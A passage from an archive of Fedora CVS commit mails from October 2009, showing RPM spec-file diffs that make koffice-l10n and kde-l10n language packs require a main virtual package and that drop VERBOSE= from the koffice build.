+Requires:       %{name} = %{version}-%{release}
 %description ne 
 Provides additional Nepali translations for koffice
 
 %package nl
 Summary:        Dutch language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description nl
 Provides additional Dutch translations for koffice
 
 %package nn
 Summary:        Nynorsk language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description nn
 Provides additional Nynorsk translations for koffice
 
 %package pl
 Summary:        Polish language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description pl
 Provides additional Polish translations for koffice
 
 %package pt_BR
 Summary:        Brazilian Portuguese language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description pt_BR
 Provides additional Brazilian Portuguese translations for koffice
 
 %package pt
 Summary:        Portuguese language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description pt
 Provides additional Portuguese translations for koffice
 
 %package ru
 Summary:        Russian language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description ru
 Provides additional Russian translations for koffice
 
 %package ro
 Summary:        Romanian language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description ro
 Provides additional Romanian translations for koffice
 
 %package se
 Summary:        Northern Sami language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description se
 Provides additional Northern Sami translations for koffice
 
 %package sk
 Summary:        Slovak language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description sk
 Provides additional Slovak translations for koffice
 
 %package sl
 Summary:        Slovenian language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description sl
 Provides additional Slovenian translations for koffice
 
 %package sr-Latn
 Summary:        Serbian in Latin language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description sr-Latn
 Provides additional Serbian in latin translations for koffice
 
 %package sr
 Summary:        Serbian language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description sr
 Provides additional Serbian translations for koffice
 
 %package sv
 Summary:        Swedish language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description sv
 Provides additional Swedish translations for koffice
 
 %package ta
 Summary:        Tamil language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description ta
 Provides additional Tamil translations for koffice
 
 %package tg
 Summary:        Tajik language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description tg
 Provides additional Tajik translations for koffice
 
 %package tr
 Summary:        Turkish language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description tr
 Provides additional Turkish translations for koffice
 
 %package uk
 Summary:        Ukrainian language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description uk
 Provides additional Ukrainian translations for koffice
 
 %package uz
 Summary:        Uzbek language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description uz
 Provides additional Uzbek translations for koffice
 
 %package wa
 Summary:	Walloon language pack for koffice 
 Group:		Applications/Productivity 
-Requires:	%{name}-common = %{version}-%{release}
+Requires:	%{name} = %{version}-%{release}
 %description wa 
 Provides additional Walloon translations for koffice
 
 %package zh_CN
 Summary:        Simplified Chinese language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description zh_CN
 Provides additional simplified chinese translations for koffice
 
 %package zh_TW
 Summary:        Traditional Chinese language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description zh_TW
 Provides additional traditional Chinese translations for koffice
 
@@ -542,7 +537,7 @@ fi
 rm -rf %{buildroot}
 
 
-%files common
+%files
 # empty
 
 #files ar 
@@ -773,7 +768,7 @@ rm -rf %{buildroot}
 
 %changelog
 * Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 1:2.0.83-2
-- -common subpkg
+- main virtual subpkg
 - fix a fix missing %%defattr's
 
 * Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 1:2.0.83-1



From rdieter at fedoraproject.org  Sun Oct  4 05:05:35 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sun,  4 Oct 2009 05:05:35 +0000 (UTC)
Subject: rpms/kde-l10n/devel kde-l10n.spec,1.95,1.96
Message-ID: <20091004050535.0E67611C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kde-l10n/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28855

Modified Files:
	kde-l10n.spec 
Log Message:
cvs only, no tag/build

* Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-3
- main virtual subpkg



Index: kde-l10n.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kde-l10n/devel/kde-l10n.spec,v
retrieving revision 1.95
retrieving revision 1.96
diff -u -p -r1.95 -r1.96
--- kde-l10n.spec	5 Sep 2009 02:53:59 -0000	1.95
+++ kde-l10n.spec	4 Oct 2009 05:05:34 -0000	1.96
@@ -2,7 +2,7 @@
 
 Name: kde-l10n
 Version: 4.3.1
-Release: 2%{dist}
+Release: 3%{dist}
 Url: http://www.kde.org
 Summary: Internationalization support for KDE
 Group: User Interface/Desktops
@@ -74,15 +74,12 @@ Source61: ftp://ftp.kde.org/pub/kde/stab
 Source62: ftp://ftp.kde.org/pub/kde/stable/%{version}/src/kde-l10n-hr-%{version}.tar.bz2
 Source1000: subdirs-kde-l10n
 
-# upstream patches
-
-Requires: kde-filesystem
-
-BuildRequires: kdelibs4-devel >= %{version}
+BuildRequires: cmake
 BuildRequires: findutils
 BuildRequires: gettext
-BuildRequires: kde-filesystem >= 4
-BuildRequires: cmake
+BuildRequires: kdelibs4-devel >= %{version}
+
+Requires: kde-filesystem
 
 %description
 Internationalization support for KDE
@@ -90,7 +87,7 @@ Internationalization support for KDE
 %package Afrikaans
 Summary: Afrikaans language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-af = %{version}-%{release}
 
 %description Afrikaans
@@ -99,7 +96,7 @@ Afrikaans support for KDE
 %package Arabic 
 Summary: Arabic language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ar = %{version}-%{release}
 
 %description Arabic
@@ -108,7 +105,7 @@ Arabic support for KDE
 %package Azerbaijani
 Summary: Azerbaijani language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-af = %{version}-%{release}
 
 %description Azerbaijani
@@ -117,7 +114,7 @@ Azerbaijani language support for KDE
 %package Basque
 Summary: Basque language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-eu = %{version}-%{release}
 
 %description Basque
@@ -126,7 +123,7 @@ Basque language support for KDE
 %package Belarusian
 Summary: Belarusian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-be = %{version}-%{release}
 
 %description Belarusian
@@ -135,7 +132,7 @@ Belarusian language support for KDE
 %package Bengali-India
 Summary: Bengali India language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-bn_IN = %{version}-%{release}
 Obsoletes: %{name}-Bengali
 
@@ -145,7 +142,7 @@ Bengali India language support for KDE
 %package Bulgarian
 Summary: Bulgarian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-bg = %{version}-%{release}
 
 %description Bulgarian
@@ -154,7 +151,7 @@ Bulgarian language support for KDE
 %package Tibetan
 Summary: Tibetan language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-bo = %{version}-%{release}
 
 %description Tibetan
@@ -163,7 +160,7 @@ Tibetan language support for KDE
 %package Breton
 Summary: Breton language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-br = %{version}-%{release}
 
 %description Breton
@@ -172,7 +169,7 @@ Breton language support for KDE
 %package Bosnian
 Summary: Bosnian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-bs = %{version}-%{release}
 
 %description Bosnian
@@ -181,7 +178,7 @@ Bosnian language support for KDE
 %package Catalan
 Summary: Catalan language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ca = %{version}-%{release}
 
 %description Catalan
@@ -190,7 +187,7 @@ Catalan language support for KDE
 %package Czech
 Summary: Czech language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-cs = %{version}-%{release}
 
 %description Czech
@@ -199,7 +196,7 @@ Czech language support for KDE
 %package Welsh
 Summary: Welsh language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-cy = %{version}-%{release}
 
 %description Welsh
@@ -208,7 +205,7 @@ Welsh language support for KDE
 %package Danish
 Summary: Danish language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-da = %{version}-%{release}
 
 %description Danish
@@ -217,7 +214,7 @@ Danish language support for KDE
 %package German
 Summary: German language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-de = %{version}-%{release}
 
 %description German
@@ -226,7 +223,7 @@ German language support for KDE
 %package Greek
 Summary: Greek language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-el = %{version}-%{release}
 
 %description Greek
@@ -235,7 +232,7 @@ Greek language support for KDE
 %package Gujarati
 Summary: Gujarati language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-gu = %{version}-%{release}
 
 %description Gujarati
@@ -244,7 +241,7 @@ Gujarati language support for KDE
 %package British
 Summary: British English support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-en_GB = %{version}-%{release}
 
 %description British
@@ -253,7 +250,7 @@ British English language support for KDE
 %package Esperanto
 Summary: Esperanto support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-eo = %{version}-%{release}
 
 %description Esperanto
@@ -262,7 +259,7 @@ Esperanto support for KDE
 %package Spanish
 Summary: Spanish language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-es = %{version}-%{release}
 
 %description Spanish
@@ -271,7 +268,7 @@ Spanish language support for KDE
 %package Estonian
 Summary: Estonian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-et = %{version}-%{release}
 
 %description Estonian
@@ -280,7 +277,7 @@ Estonian language support for KDE
 %package Farsi
 Summary: Farsi language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-fa = %{version}-%{release}
 
 %description Farsi
@@ -289,7 +286,7 @@ Farsi language support for KDE
 %package Finnish
 Summary: Finnish language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-fi = %{version}-%{release}
 
 %description Finnish
@@ -298,7 +295,7 @@ Finnish language support for KDE
 %package Faroese
 Summary: Faroese language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-fo = %{version}-%{release}
 
 %description Faroese
@@ -307,7 +304,7 @@ Faroese language support for KDE
 %package French
 Summary: French language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-fr = %{version}-%{release}
 
 %description French
@@ -316,7 +313,7 @@ French language support for KDE
 %package Frisian
 Summary: Frisian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-fy = %{version}-%{release}
 
 %description Frisian
@@ -326,7 +323,7 @@ Frisian language support for KDE
 Summary: Irish language support for KDE
 Group: User Interface/Desktops
 Obsoletes: kde-i18n-Gaeilge
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ga = %{version}-%{release}
 
 %description Irish
@@ -335,7 +332,7 @@ Irish language support for KDE
 %package Galician
 Summary: Galician language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-gl = %{version}-%{release}
 
 %description Galician
@@ -344,7 +341,7 @@ Galician language support for KDE
 %package Hebrew
 Summary: Hebrew language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-he = %{version}-%{release}
 
 %description Hebrew
@@ -353,7 +350,7 @@ Hebrew language support for KDE
 %package Hindi
 Summary: Hindi language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-hi = %{version}-%{release}
 
 %description Hindi
@@ -362,7 +359,7 @@ Hindi language support for KDE
 %package Croatian
 Summary: Croatian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-hr = %{version}-%{release}
 
 %description Croatian
@@ -371,7 +368,7 @@ Croatian language support for KDE
 %package Hungarian
 Summary: Hungarian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-hu = %{version}-%{release}
 
 %description Hungarian
@@ -380,7 +377,7 @@ Hungarian language support for KDE
 %package Indonesian
 Summary: Indonesian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-id = %{version}-%{release}
 
 %description Indonesian
@@ -389,7 +386,7 @@ Indonesian language support for KDE
 %package Icelandic
 Summary: Icelandic language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-is = %{version}-%{release}
 
 %description Icelandic
@@ -398,7 +395,7 @@ Icelandic language support for KDE
 %package Italian
 Summary: Italian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-it = %{version}-%{release}
 
 %description Italian
@@ -407,7 +404,7 @@ Italian language support for KDE
 %package Japanese
 Summary: Japanese language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ja = %{version}-%{release}
 
 %description Japanese
@@ -416,7 +413,7 @@ Japanese language support for KDE
 %package Kannada
 Summary: Kannada language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-kn = %{version}-%{release}
 
 %description Kannada
@@ -425,7 +422,7 @@ Kannada language support for KDE
 %package Kashubian
 Summary: Kashubian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-csb = %{version}-%{release}
 
 %description Kashubian
@@ -434,7 +431,7 @@ Kashubian language support for KDE
 %package Kazakh
 Summary: Kazakh language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-kk = %{version}-%{release}
 
 %description Kazakh
@@ -443,7 +440,7 @@ Kazakh language support for KDE
 %package Khmer
 Summary: Khmer language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-km = %{version}-%{release}
 
 %description Khmer
@@ -452,7 +449,7 @@ Khmer language support for KDE
 %package Korean
 Summary: Korean language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ko = %{version}-%{release}
 
 %description Korean
@@ -461,7 +458,7 @@ Korean language support for KDE
 %package Kurdish
 Summary: Kurdish language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ku = %{version}-%{release}
 
 %description Kurdish
@@ -470,7 +467,7 @@ Kurdish language support for KDE
 %package Lao
 Summary: Lao language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-lo = %{version}-%{release}
 
 %description Lao
@@ -479,7 +476,7 @@ Lao language support for KDE
 %package Lithuanian
 Summary: Lithuanian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-lt = %{version}-%{release}
 
 %description Lithuanian
@@ -488,7 +485,7 @@ Lithuanian language support for KDE
 %package Latvian
 Summary: Latvian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-lv = %{version}-%{release}
 
 %description Latvian
@@ -497,7 +494,7 @@ Latvian language support for KDE
 %package LowSaxon
 Summary: Low Saxon language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-nds = %{version}-%{release}
 
 %description LowSaxon
@@ -506,7 +503,7 @@ Low Saxon language support for KDE
 %package Maori
 Summary: Maori language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-mi = %{version}-%{release}
 
 %description Maori
@@ -515,7 +512,7 @@ Maori language support for KDE
 %package Macedonian
 Summary: Macedonian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-mk = %{version}-%{release}
 
 %description Macedonian
@@ -524,7 +521,7 @@ Macedonian language support for KDE
 %package Maithili
 Summary: Maithili language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-mai = %{version}-%{release}
 
 %description Maithili
@@ -533,7 +530,7 @@ Maithili language support for KDE
 %package Malayalam
 Summary: Malayalam language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ml = %{version}-%{release}
 
 %description Malayalam
@@ -542,7 +539,7 @@ Malayalam language support for KDE
 %package Maltese
 Summary: Maltese language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-mt = %{version}-%{release}
 
 %description Maltese
@@ -551,7 +548,7 @@ Maltese language support for KDE
 %package Marathi
 Summary: Marathi language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-mr = %{version}-%{release}
 
 %description Marathi
@@ -560,7 +557,7 @@ Marathi language support for KDE
 %package Nepali
 Summary: Nepali language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ne = %{version}-%{release}
 
 %description Nepali
@@ -569,7 +566,7 @@ Nepali language support for KDE
 %package Dutch
 Summary: Dutch language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-nl = %{version}-%{release}
 
 %description Dutch
@@ -578,7 +575,7 @@ Dutch language support for KDE
 %package NorthernSami
 Summary: Northern Sami language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-se = %{version}-%{release}
 
 %description NorthernSami
@@ -587,7 +584,7 @@ Northern Sami language support for KDE
 %package Norwegian
 Summary: Norwegian (Bokmaal) language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-no = %{version}-%{release}
 
 %description Norwegian
@@ -596,7 +593,7 @@ Norwegian (Bokmaal) language support for
 %package Norwegian-Nynorsk
 Summary: Norwegian (Nynorsk) language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-nn = %{version}-%{release}
 
 %description Norwegian-Nynorsk
@@ -605,7 +602,7 @@ Norwegian (Nynorsk) language support for
 %package Occitan
 Summary: Occitan language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-oc = %{version}-%{release}
 
 %description Occitan
@@ -614,7 +611,7 @@ Occitan language support for KDE
 %package Polish
 Summary: Polish language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-pl = %{version}-%{release}
 
 %description Polish
@@ -623,7 +620,7 @@ Polish language support for KDE
 %package Portuguese
 Summary: Portuguese language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-pt = %{version}-%{release}
 
 %description Portuguese
@@ -632,7 +629,7 @@ Portuguese language support for KDE
 %package Punjabi
 Summary: Punjabi language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-pa = %{version}-%{release}
 
 %description Punjabi
@@ -641,7 +638,7 @@ Punjabi language support for KDE
 %package Brazil
 Summary: Brazil Portuguese language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-pt_BR = %{version}-%{release}
 
 %description Brazil
@@ -650,7 +647,7 @@ Brazil Portuguese language support for K
 %package Romanian
 Summary: Romanian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ro = %{version}-%{release}
 
 %description Romanian
@@ -659,7 +656,7 @@ Romanian language support for KDE
 %package Russian
 Summary: Russian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ru = %{version}-%{release}
 
 %description Russian
@@ -668,7 +665,7 @@ Russian language support for KDE
 %package Slovak
 Summary: Slovak language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-sk = %{version}-%{release}
 
 %description Slovak
@@ -677,7 +674,7 @@ Slovak language support for KDE
 %package Slovenian
 Summary: Slovenian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-sl = %{version}-%{release}
 
 %description Slovenian
@@ -686,7 +683,7 @@ Slovenian language support for KDE
 %package Serbian
 Summary: Serbian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-sr = %{version}-%{release}
 
 %description Serbian
@@ -695,7 +692,7 @@ Serbian language support for KDE
 %package Swedish
 Summary: Swedish language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-sv = %{version}-%{release}
 
 %description Swedish
@@ -704,7 +701,7 @@ Swedish language support for KDE
 %package Tamil
 Summary: Tamil language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ta = %{version}-%{release}
 
 %description Tamil
@@ -713,7 +710,7 @@ Tamil language support for KDE
 %package Tajik
 Summary: Tajik language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-tg = %{version}-%{release}
 
 %description Tajik
@@ -722,7 +719,7 @@ Tajik language support for KDE
 %package Thai
 Summary: Thai language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-th = %{version}-%{release}
 
 %description Thai
@@ -731,7 +728,7 @@ Thai language support for KDE
 %package Turkish
 Summary: Turkish language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-tr = %{version}-%{release}
 
 %description Turkish
@@ -740,7 +737,7 @@ Turkish language support for KDE
 %package Ukrainian
 Summary: Ukrainian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-uk = %{version}-%{release}
 
 %description Ukrainian
@@ -749,7 +746,7 @@ Ukrainian language support for KDE
 %package Venda
 Summary: Venda language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ven = %{version}-%{release}
 
 %description Venda
@@ -758,7 +755,7 @@ Venda language support for KDE
 %package Vietnamese
 Summary: Vietnamese language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-vi = %{version}-%{release}
 
 %description Vietnamese
@@ -767,7 +764,7 @@ Vietnamese language support for KDE
 %package Walloon
 Summary: Walloon language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-wa = %{version}-%{release}
 
 %description Walloon
@@ -776,7 +773,7 @@ Walloon language support for KDE
 %package Xhosa
 Summary: Xhosa (a Bantu language) support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-xh = %{version}-%{release}
 
 %description Xhosa
@@ -785,7 +782,7 @@ Xhosa (a Bantu language) support for KDE
 %package Chinese
 Summary: Chinese (Simplified Chinese) language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-zh_CN = %{version}-%{release}
 
 %description Chinese
@@ -794,7 +791,7 @@ Chinese (Simplified Chinese) language su
 %package Chinese-Traditional
 Summary: Chinese (Traditional) language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-zh_TW = %{version}-%{release}
 
 %description Chinese-Traditional
@@ -875,6 +872,10 @@ rm -rf %{buildroot}%{_kde4_docdir}/HTML/
 %clean
 rm -rf %{buildroot}
 
+
+%files common
+# empty
+
 %if %{buildall}
 %files Afrikaans
 %defattr(-,root,root)
@@ -1495,7 +1496,11 @@ rm -rf %{buildroot}
 %lang(zh_TW) %{_datadir}/locale/zh_TW/entry.desktop
 %lang(zh_TW) %{_kde4_docdir}/HTML/zh_TW
 
+
 %changelog
+* Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-3
+- main virtual subpkg
+
 * Sat Sep 05 2009 Than Ngo <than at redhat.com> - 4.3.1-2
 - add missing Croatian localization
 



From rdieter at fedoraproject.org  Sun Oct  4 05:07:05 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sun,  4 Oct 2009 05:07:05 +0000 (UTC)
Subject: rpms/koffice/devel koffice.spec,1.122,1.123
Message-ID: <20091004050705.688CD11C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/koffice/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29133

Modified Files:
	koffice.spec 
Log Message:
drop VERBOSE=



Index: koffice.spec
===================================================================
RCS file: /cvs/pkgs/rpms/koffice/devel/koffice.spec,v
retrieving revision 1.122
retrieving revision 1.123
diff -u -p -r1.122 -r1.123
--- koffice.spec	4 Oct 2009 02:34:30 -0000	1.122
+++ koffice.spec	4 Oct 2009 05:07:05 -0000	1.123
@@ -292,7 +292,7 @@ pushd %{_target_platform}
   ..
 popd
 
-make %{?_smp_mflags} -C %{_target_platform} VERBOSE=
+make %{?_smp_mflags} -C %{_target_platform}
 
 
 %install



From pkgdb at fedoraproject.org  Sun Oct  4 05:18:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 05:18:39 +0000
Subject: [pkgdb] pspp ownership updated
